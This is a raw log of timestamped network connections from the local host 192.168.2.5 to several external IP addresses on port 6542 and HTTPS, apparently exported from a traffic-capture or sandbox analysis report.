Dec 2, 2024 18:43:41.883496046 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.883573055 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.883622885 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.886583090 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.886631966 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.886718035 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.886761904 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.889719009 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.889988899 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.890038967 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.892918110 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.892997026 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.893003941 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.893059969 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.896198034 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.896222115 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.896270037 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.899177074 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.899233103 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.899353027 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.899395943 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.902297020 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.902471066 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.902525902 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.905550957 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.905677080 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.905735970 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.908535004 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.908704042 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.908751011 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.911766052 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.911889076 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.911936045 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.914927959 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.914971113 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.915152073 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.915199041 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.917941093 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.918104887 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.918154001 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.921119928 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.921334028 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.921381950 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.924331903 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.924426079 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.924477100 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.926857948 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.926903963 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.926964998 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.927009106 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.929474115 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.929593086 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.929641962 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.932027102 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.932154894 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.932209015 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.934638023 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.934689999 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.934834003 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.934879065 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.937125921 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.937366962 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.937432051 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.939699888 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.939852953 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.939905882 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.942348003 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.942409992 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.942473888 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.942522049 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.944869995 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.945179939 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.945241928 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.947453976 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.947508097 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.947630882 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.950007915 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.950062037 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.950124979 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.950177908 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.952508926 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.952716112 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.952766895 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.955348015 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.955384970 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.955393076 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.955427885 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.957776070 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.957798004 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.957854986 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.957878113 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.960339069 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.960592031 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.960767031 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.962827921 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.962883949 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.962939978 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.962987900 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.965410948 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.965548038 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.965601921 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.967972994 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.968130112 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.968173027 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.970581055 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.970623970 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.970748901 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.970796108 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.973128080 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.973191977 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.973309040 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.973362923 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.976210117 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.976320982 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.976368904 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:43.087232113 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:43.087269068 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:43.087444067 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:43.087723970 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:43.087735891 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:43.848176003 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:44:43.848220110 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:44:44.527534008 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:44.527662039 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:44.563749075 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:44.563780069 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:44.564081907 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:44.564209938 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:44.564596891 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:44.607338905 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:45.375230074 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:45.375328064 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:45.375535965 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:45.391731977 CET	49907	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:45.391757011 CET	443	49907	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:46.559746981 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:46.559782982 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:46.560103893 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:46.563648939 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:46.563659906 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:47.825994968 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:47.826069117 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:47.826560974 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:47.826570034 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:47.828161001 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:47.828166962 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:48.595521927 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:48.595621109 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:48.595650911 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:48.595839024 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:48.608772993 CET	49916	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:48.608791113 CET	443	49916	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:48.782219887 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:48.782263041 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:48.783664942 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:48.784724951 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:48.784737110 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:49.788986921 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:49.816188097 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:44:49.831898928 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:49.832034111 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:44:49.910119057 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:44:49.910171032 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:49.953394890 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:44:49.953814983 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:44:49.953871012 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:44:49.954226017 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:44:49.954269886 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:50.122529984 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:50.122591972 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:50.123420000 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:50.123435974 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:50.125710964 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:50.125715971 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:50.916172028 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:50.916280031 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:50.916285992 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:50.916352034 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:50.923922062 CET	49922	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:50.923966885 CET	443	49922	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:51.036525965 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:51.036576986 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:51.036844015 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:51.037282944 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:51.037298918 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:52.316227913 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:52.316274881 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:52.316823006 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:52.316833973 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:52.318432093 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:52.318435907 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:52.721628904 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:52.755367041 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:44:52.847210884 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:44:52.847801924 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:44:52.880256891 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:44:52.883827925 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:44:53.062433958 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:53.062530041 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:53.062545061 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:53.062798023 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:53.066171885 CET	49928	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:53.066190958 CET	443	49928	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:53.075766087 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:53.075798988 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:53.075994015 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:53.076241016 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:53.076255083 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:54.395657063 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:54.395713091 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:54.396363974 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:54.396373987 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:55.854160070 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:55.854183912 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.200725079 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.200793982 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.200809002 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.200851917 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.200896978 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.200944901 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.200952053 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.200993061 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.201397896 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.201448917 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.201455116 CET	443	49934	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.201492071 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.202385902 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.202385902 CET	49934	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.205903053 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.205936909 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:56.206022978 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.206268072 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:56.206279993 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:57.622154951 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:57.622227907 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.118972063 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.118972063 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.118993044 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.119003057 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.119420052 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.119483948 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.451410055 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.451493979 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.451509953 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.451553106 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.451555967 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.451570034 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.451607943 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.451875925 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.451931953 CET	443	49941	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.452022076 CET	49941	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.457237959 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.457295895 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:44:59.457375050 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.457715034 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:44:59.457729101 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:00.747674942 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:00.747773886 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.085089922 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.085184097 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.085299969 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.085309029 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.085573912 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.085638046 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.909151077 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.909650087 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.909684896 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.909878969 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.909912109 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.910542965 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.911082029 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.911117077 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.911149979 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.911180973 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.911192894 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.911210060 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.911210060 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.911870003 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.911876917 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.913311005 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:02.916043043 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:02.916424990 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.029097080 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.029246092 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.029284954 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.030416012 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.033246040 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.034001112 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.034008980 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.037964106 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.041678905 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.041973114 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.041980982 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.045867920 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.050190926 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.053872108 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.058552980 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.061922073 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.061929941 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.066117048 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.068002939 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.069855928 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.069863081 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.073911905 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.076004028 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.077941895 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.077950954 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.082050085 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.084290981 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.084439039 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.084446907 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.085999012 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.092319965 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.095850945 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.095859051 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.097776890 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.149059057 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.149167061 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.152745962 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.155885935 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.155900955 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.156219006 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.159523010 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.159673929 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.169361115 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.169529915 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.173540115 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.175915956 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.178699017 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.178831100 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.178838015 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.179251909 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.190746069 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.195791960 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.195800066 CET	443	49950	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:03.203784943 CET	49950	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:03.203790903 CET	443	49950	172.67.217.190	192.168.2.5
